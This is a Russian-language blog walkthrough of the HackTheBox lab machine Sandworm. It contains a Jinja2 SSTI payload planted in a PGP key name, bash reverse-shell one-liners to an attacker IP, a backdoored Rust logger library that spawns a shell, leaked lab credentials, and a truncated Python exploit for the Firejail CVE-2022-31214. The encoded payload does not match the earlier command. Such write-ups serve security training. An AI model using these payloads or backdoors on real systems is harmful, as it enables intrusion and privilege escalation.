Blog

Разбор HackTheBox – Sandworm (Medium)

Сложность:Medium
ОС:Linux
Баллы:30
IP:10.10.11.218
Теги:PGP, SSTI, Firejail, SUID Binary, Code Analysis, CVE-2022-31214

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем сервис проверки корректности PGP подписи, уязвимый к SSTI. С помощью SSTI получили ограниченный доступ к учётной записи atlas из-за работы Firejail. Далее, в ходе разведки локальных файлов в домашней директории (/.config/httpie/sessions/localhost_5000/admin.json) нашли пароль SSH учётной записи silentobserver, подключились к целевой машине и получили соответствующий ему флаг пользователя. С помощью модификации одной из библиотек, использующихся в /opt/tipnet и периодического фонового запуска этого бинарного файла от лица пользователя atlas получили полноценный доступ к УЗ atlas. В конечном счёте, осуществили эксплуатацию CVE-2022-31214, получили доступ к root и соответствующему флагу.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.218

PORT      STATE   SERVICE
22/tcp    open    ssh
80/tcp    open    http
443/tcp   open    ssl/http

Просканируем более подробно: nmap -sVC -O -p22,80,443 10.10.11.218

nmap -sVC -O -p22,80,3000 10.10.11.218

22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0 (Ubuntu)

Сразу же добавим домен в /etc/hosts:

# HTB
10.10.11.218    saa.htb

Проведём разведку на веб сервисе – ознакомимся с функционалом и просканируем директории:

Далее следует сканирование директорий доступных в этом сервисе на предмет уязвимого функционала:

gobuster dir -u https://ssa.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получили следующий результат:

/contact              (Status: 200) [Size: 3543]
/about                (Status: 200) [Size: 5584]
/login                (Status: 200) [Size: 4392]
/view                 (Status: 302) [Size: 225] [--> /login?next=%2Fview]
/admin                (Status: 302) [Size: 227] [--> /login?next=%2Fadmin]
/guide                (Status: 200) [Size: 9043]
/pgp                  (Status: 200) [Size: 3187]
/logout               (Status: 302) [Size: 229] [--> /login?next=%2Flogout]
/process              (Status: 405) [Size: 153]

При переходе по адресу https://ssa.htb/pgp получаем публичный ключ:

-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G/APBzGiTN3m140P9pOcA2VpgX
[...]
FxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq/mr8o8bUfHh=P8U3
-----END PGP PUBLIC KEY BLOCK-----

Получение доступа к целевой машине с помощью SSTI Jinja2

Можно заметить, что по ссылке https://ssa.htb/guide доступна демонстрация работы сервиса по шифрованию/дешифрованию сообщений с помощью PGP-ключей:

После множественных попыток взаимодействия с доступным функционалом веб-сервиса было обнаружено, что он уязвим к SSTI. Для того, чтобы продемонстрировать наличие данной уязвимости сгенерируем gpg-ключ с инъекцией в поле имени:

gpg --gen-key
gpg -a -o public.key --export evil
echo 'life-time' | gpg --clear-sign
gpg --edit-key evil@gmail.com
gpg > adduid
Сменим имя на: → {{7*7}} ← инъекция SSTI 
gpg > trust
gpg > uid 1
gpg > deluid
gpg > save

Далее, с помощью этого ключа закодируем PGP сообщение в разделе Encrypt Message. Этот же ключ и полученное сообщение вставим в поле Public Key и Signed Text. После запроса проверки подписи получим следующее сообщение:

Signature Verification Result
Signature is valid! [GNUPG:] NEWSIG evil@gmail.com:Signature made
[...]
gpg: Good signature from "49" [unknown]
[...]

Далее, используя полезную нагрузку {{7*'7'}} мы можем сузить список обработчиков темплейтов, которые используется на целевом сервисе до Jinja2 или Twig.

Воспользуемся списком полезных нагрузок для данных обработчиков и сформируем полезную нагрузку для получения первоначального доступа на целевой машине. Для начала закодируем следующую команду получения Reverse Shell в base64: echo "bash -i >& /dev/tcp/10.10.16.10/7331 0>&1" | base64

Получили: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC83MzMxIDA+JjEK

Затем, с помощью SSTI и полезной нагрузки для Jinja2 сформируем следующую инъекцию в параметр имени ключа PGP, с помощью которой получим доступ на целевой машине:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi80NDQ0IDA+JjEK | base64 -d | bash" ').read() }

Создадим подпись с таким параметром имени в ключе, закодируем сообщение и верифицируем подпись. Предварительно открыв порт 7331 на удалённой машине атакующего с помощью nc -nvlp 7331 получим доступ с локальной УЗ atlas:

Повышение привилегий до пользователя silentobserver

Выведем список пользователей с помощью cat /etc/passwd и обнаружим ещё одну пользовательскую учётную запись silentobserver:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

При попытке исполнить ряд стандартных Linux утилит получаем ошибку о том, что:

[...]
Could not find command-not-found database. Run 'sudo apt update' to populate it.
command_name: command not found
[...]

Проводя локальную разведку директорий обнаружим директорию .config, в которой содержатся следующие папки:

Отсюда мы можем сделать вывод, что пользователь atlas работает в окружении, ограниченном с помощью Firejail. Но, не смотря на то, что доступ к утилитам пользователя atlas ограничен удалось обнаружить учётные данные локального пользователя silentobserver в файле admin.json, расположенном в домашней директории atlas: ~/.config/httpie/sessions/localhost_5000/admin.json

{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

Подключимся по ssh с помощью полученных данных УЗ (silentobserver:quietLiketheWind22) и успешно получим флаг пользователя!

Развитие атаки с помощью /opt/tipnet

Стандартно, в рамках первых шагов по поиску команд, доступных более высоко привилегированным УЗ выполним следующие две команды:

sudo -l; find / -perm -4000 -type f 2>/dev/null

После ввода пароля УЗ для первой команды получим сообщение о том, что данный пользователь не может выполнять sudo. Поиск файлов с привёл к следующему списку:

/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3

Просмотрим исходный код /opt/tipnet/target/debug/tipnet:

extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,
}

fn main() {
    println!("                                                     
             ,,                                      
MMP\"\"MM\"\"YMM db          `7MN.   `7MF'         mm    
P'   MM   `7               MMN.    M           MM    
     MM    `7MM `7MMpdMAo. M YMb   M  .gP\"Ya mmMMmm  
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    
     MM      MM   MM    M8 M   `MM.M 8M\"\"\"\"\"\"  MM    
     MM      MM   MM   ,AP M     YMM YM.    ,  MM    
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo 
                  MM                                 
                .JMML.                               

");


    let mode = get_mode();
    
    if mode == "" {
            return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();


    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" {
        println!("[-] No keywords selected.\n\n[-] Quitting...\n");
        return;
    }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username 
    let output = Command::new("/usr/bin/whoami")
        .output()
        .expect("nobody");

    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }

    logger::log(username, keywords.as_str().trim(), justification.as_str());

    search_sigint(&mut conn, keywords.as_str().trim());

}

fn get_mode() -> String {

        let valid = false;
        let mut mode = String::new();

        while ! valid {
                mode.clear();

                println!("Select mode of usage:");
                print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");

                io::stdin().read_line(&mut mode).unwrap();

                match mode.trim() {
                        "a" => {
                              println!("\n[+] Upstream selected");
                              return "upstream".to_string();
                        }
                        "b" => {
                              println!("\n[+] Muscular selected");
                              return "regular".to_string();
                        }
                        "c" => {
                              println!("\n[+] Tempora selected");
                              return "emperor".to_string();
                        }
                        "d" => {
                                println!("\n[+] PRISM selected");
                                return "square".to_string();
                        }
                        "e" => {
                                println!("\n[!] Refreshing indeces!");
                                return "pull".to_string();
                        }
                        "q" | "Q" => {
                                println!("\n[-] Quitting");
                                return "".to_string();
                        }
                        _ => {
                                println!("\n[!] Invalid mode: {}", mode);
                        }
                }
        }
        return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
    let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
    let pool = Pool::new(url).unwrap();
    let mut conn = pool.get_conn().unwrap();
    return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
    let keywords: Vec<&str> = keywords.split(" ").collect();
    let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

    for (i, keyword) in keywords.iter().enumerate() {
        if i > 0 {
            query.push_str("OR ");
        }
        query.push_str(&format!("data LIKE '%{}%' ", keyword));
    }
    let selected_entries = conn.query_map(
        query,
        |(timestamp, target, source, data)| {
            Entry { timestamp, target, source, data }
        },
        ).expect("Query failed.");
    for e in selected_entries {
        println!("[{}] {} ===> {} | {}",
                 e.timestamp, e.source, e.target, e.data);
    }
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
    let paths = fs::read_dir(directory)
        .unwrap()
        .filter_map(|entry| entry.ok())
        .filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
        .map(|entry| entry.path());

    let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
        .unwrap();
    let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
        .unwrap();

    let now = Utc::now();

    for path in paths {
        let contents = fs::read_to_string(path).unwrap();
        let hash = Sha256::digest(contents.as_bytes());
        let hash_hex = hex::encode(hash);

        let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
        if existing_entry.is_none() {
            let date = now.format("%Y-%m-%d").to_string();
            println!("[+] {}\n", contents);
            conn.exec_drop(&stmt_insert, params! {
                "timestamp" => date,
                "data" => contents,
                "hash" => &hash_hex,
                },
                ).unwrap();
        }
    }
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");

}

Проанализировав код tipnet заметим внешний контейнер Rust logger.

Библиотека, реализующая логику работы внешнего контейнера содержится в директории /opt/crates/logger/src/lib.rs, также просмотрим исходный код библиотеки:

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

Загрузим на целевую машину pspy64 и запустим его:

[...]
2023/X/X X:X:X CMD: UID=0     PID=22523  | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
[...]

Значит на целевой машине периодически происходит запуск tipnet от лица пользователя atlas. Таким образом, если внести изменения в библиотеку lib.rs, которая вызывается при исполнении /opt/tipnet, то мы получим не ограниченную какими-либо средствами контроля сессию пользователя atlas, что может помочь нам в дальнейшем при повышении до root.

Отредактируем файл /opt/crates/logger/src/lib.rs следующим образом для получения удалённой сессии от лица пользователя atlas:

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let command = "bash -i >& /dev/tcp/10.10.16.10/7331 0>&1";

    let output = Command::new("bash")
        .arg("-c")
        .arg(command)
        .output()
        .expect("error");

    if output.status.success() {
        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);

        println!("standar output: {}", stdout);
        println!("error output: {}", stderr);
    } else {
        let stderr = String::from_utf8_lossy(&output.stderr);
        eprintln!("Error: {}", stderr);
    }

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

Открыв порт для получения Reverse Shell с помощью nc -nvlp 7331 получим сессию пользователя altas.

Получение root с помощью CVE-2022-31214

Получив полноценный доступ пользователя atlas теперь мы можем выполнять все стандартные команды, которые не были доступны нам ранее из-за ограничений Firejail. Также, выяснили, что atlas входит группу jailer и у него есть права на доступ к Firejail:

atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$ la -la /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail

Это позволяет нам воспользоваться эксплоитом CVE-2022-31214. Для этого создадим вторую сессию пользователя atlas. В текущей сессии воспользуемся кодом эксплуатации данной уязвимости на языке Python:

#!/usr/bin/python3

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run <code>chmod +x {__file__}</code> and try again.")

# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue

Запустим код и во второй сессии введём команду, полученную в результате работы скрипта:

Первая сессия, в которой запущен эксплоит

Вторая сессия, в которой происходит эксплуатация и повышение до root

Мы смогли получить доступ к пользователю root и обнаружили его флаг!